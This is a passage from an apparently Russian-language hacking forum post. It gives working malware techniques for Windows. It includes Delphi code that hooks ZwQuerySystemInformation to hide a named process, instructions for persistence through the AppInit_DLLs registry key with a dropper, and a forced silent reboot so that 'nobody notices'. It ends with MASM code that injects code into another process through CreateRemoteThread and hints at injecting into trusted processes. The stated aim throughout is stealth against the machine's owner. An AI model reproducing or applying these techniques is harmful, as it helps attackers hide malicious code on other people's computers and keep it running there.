  SystemRegistryQuotaInformation        =    37;
  SystemLoadAndCallImage                         =          38;
  SystemPrioritySeparation                =          39;
  SystemNotImplemented10                         =          40;
  SystemNotImplemented11                         =          41;
  SystemInvalidInfoClass2                =          42;
  SystemInvalidInfoClass3                =          43;
  SystemTimeZoneInformation                     =          44;
  SystemLookasideInformation                     =          45;
  SystemSetTimeSlipEvent                =          46;
  SystemCreateSession                       =          47;
  SystemDeleteSession                       =          48;
  SystemInvalidInfoClass4               =           49;
  SystemRangeStartInformation                    =          50;
  SystemVerifierInformation             =          51;
  SystemAddVerifier                         =          52;
  SystemSessionProcessesInformation          =          53;

для скрытия процесса, необходимо сравнить имя каждого возвращаемого процесса  и имя которое надо скрыть. Первую запись обычно не трогаем, т.к. это процесс «система».
нам нужно просто сдвигать структуры следующие «за» ней, на размер предыдущей записи.

Код:

function NewQuerySystemInformation(SystemInformationClass: DWORD; SystemInformation: Pointer;
   SystemInformationLength: DWORD; ReturnLength:PCardinal): NTStatus; stdcall;
var
SP, back:PSYSTEM_PROCESSES;
begin
UnSetCodeHook(@Jumper);
Result := ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
                                   SystemInformationLength, ReturnLength);
SetCodeHook(Jumper.Address, @NewQuerySystemInformation, @Jumper);

if SystemInformationClass <> 5 then exit;
if Result <> STATUS_SUCCESS then exit;

ZeroMemory(@back, SizeOf(back));
SP := SystemInformation;
repeat
 if SP^.ProcessName.Buffer = 'name.exe' then
  back^.NextEntryDelta := back^.NextEntryDelta + SP^.NextEntryDelta;
 back := SP;
 SP := pointer(dword(SP) + SP^.NextEntryDelta);
until SP^.NextEntryDelta = 0;
end;
======================================================================== 
type
PFunctionRestoreData = ^ TFunctionRestoreData;
TFunctionRestoreData = packed record
 Address: Pointer;
 val1: Byte;
 val2: DWORD;
end;

 function UnSetCodeHook(RestoreDATA: PFunctionRestoreData): Boolean; stdcall;
 function SetProcedureHook(ModuleHandle: HMODULE; ProcedureName: PChar;
   NewProcedureAddress: Pointer; RestoreDATA: PFunctionRestoreData): Boolean; stdcall;
 function SetCodeHook(ProcAddress, NewProcAddress: Pointer;
                      RestoreDATA: PFunctionRestoreData): Boolean; stdcall;

implementation

function UnSetCodeHook(RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress: Pointer;
OldProtect: DWORD;
begin
Result := False;
ProcAddress := RestoreDATA^.Address;
if not VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
Byte(ProcAddress^) := RestoreDATA^.val1;
DWORD(Pointer(DWORD(ProcAddress) + 1)^) := RestoreDATA^.val2;
Result := VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;

function SetCodeHook(ProcAddress, NewProcAddress: pointer; RestoreDATA:PFunctionRestoreData):boolean;
var
OldProtect, JMPValue:DWORD;
begin
Result := False;
if not VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
JMPValue := DWORD(NewProcAddress) - DWORD(ProcAddress) - 5;
RestoreDATA^.val1 := Byte(ProcAddress^);
RestoreDATA^.val2 := DWORD(Pointer(DWORD(ProcAddress)+1)^);
RestoreDATA^.Address := ProcAddress;
Byte(ProcAddress^) := $E9;
DWORD(Pointer(DWORD(ProcAddress) + 1)^) := JMPValue;
Result := VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;

function SetProcedureHook(ModuleHandle:HMODULE;ProcedureName:PChar;NewProcedureAddress:Pointer;
   RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress:Pointer;
begin
ProcAddress := GetProcAddress(ModuleHandle, ProcedureName);
Result := SetCodeHook(ProcAddress, NewProcedureAddress, RestoreDATA);
end;

в общем все это не имеет смысла объяснять так как на васме все очень хорошо и толково расписано, я лишь привел немного другой код, который инжектится через реестр.доделать инжектор удаленными потоками- 20-30 минут работы, а то гляди и меньше.

ключ этот находится тут
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

В этом параметре может хранится список из нескольких DLL, разделённых пробелом или запятой. Так как пробел здесь является разделителем, в именах файлов не должно быть пробелов. Если DLL лежит в системном каталоге Windows (например, C:\Windows\System32), то достаточно указать только имя файла. Вы также можете указать полный путь до библиотеки, но учтите, что система принимает во внимание путь только первой DLL из списка, остальные пути она игнорирует. Поэтому лучше всего копировать все библиотеки, которые вы хотите внедрить, в системную папку и указывать в списке только имена файлов.

в целом алгоритм в том что бы нести dll в ресурсах (а-ля дропер) и выгружать.

У метода есть несколько минусов:
для инжекта необходим ребут: как сделать форсированный ребут:
получить привелегии SE_SHUTDOWN_NAME
вызвать ф-ю InitiateSystemShutdownExA с параметрами:
(NULL, Message, Timeout, 1, 1, SHTDN_REASON_MAJOR_APPLICATION or SHTDN_REASON_MINOR_INSTALLATION or SHTDN_REASON_FLAG_PLANNED)
1-сек и мгновенный ребут, никто ничего даже не поймет ;)

второй минус: dll будет напостой висеть в памяти, что конечно в своем роде «по быдляцки» ))

пара плюсов:
метод не слишком палевный если не делать ребут самостоятельно, рано или поздно (если речь о стационаре) комп вырубят.

и еще т.к. библиотека грузится во ВСЕ процессы ее невозможно удалить из списка.

Вот и все по второму методу.


3)Метод- инжект. смысл в том что мы инжектируем код (не библиотеку) и этот код в выделенном пр-ве выполняет нужные нам действия. Хорошо тем что не требует dll на борту, можно заинжектиться в доверенный процесс (с получением соотв. привелегий) и дальше догадайтесь что).


.386
.model flat, stdcall
option casemap :none


include include\windows.inc

include include\kernel32.inc
include include\user32.inc

includelib lib\kernel32.lib
includelib lib\user32.lib


.data
name db 'notepad.exe',0
Msg db 'Injected!',0
Cap db 'Injected!',0


.data?
SInfo STARTUPINFO <>
PInfo PROCESS_INFORMATION <>
hModule dword ?
dwSize dword ?

.code
Thread proc
invoke MessageBox, 0, addr Msg, addr Cap, 0
invoke ExitProcess, 0
Thread endp

start:
invoke GetModuleHandle, 0 ; хэндл нашего модуля
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER ; заставим компилятор думать что бы в этом регистре был адрес структуры IMAGE_DOS_HEADER
add edi, [edi].e_lfanew   ; что бы добраться до заголовка ПЕ надо значение из e_lfanew DOS заголовка
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER    ; адрес опционального заголовка
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov dwSize, eax
assume edi:NOTHING

invoke CreateProcess,0,addr name,0,0,FALSE,CREATE_SUSPENDED,0,0,addr SInfo,addr PInfo  ; создаем процесс
invoke VirtualAllocEx, PInfo.hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ;выделяем память
invoke WriteProcessMemory, PInfo.hProcess, eax, hModule, dwSize, NULL   ; туда копируемся
invoke CreateRemoteThread, PInfo.hProcess, 0, 0, addr Thread, 0, 0, NULL ; оттуда пускаем удаленный поток

invoke ExitProcess, 0
end start

Опять же алгоритм и комментарии… инжектится в блокнот если тот запущен и выдаем сообщение, процесса нет))).

я тут не расписывал включение привилегий отладчика и внедрения в доверенный процесс, все это я уже описывал или описывал кто то еще.
так что вот в целом что удалось накопать и рассказать, спасибо за внимание мне было очень трудно перебороть лень и че то запостить ;)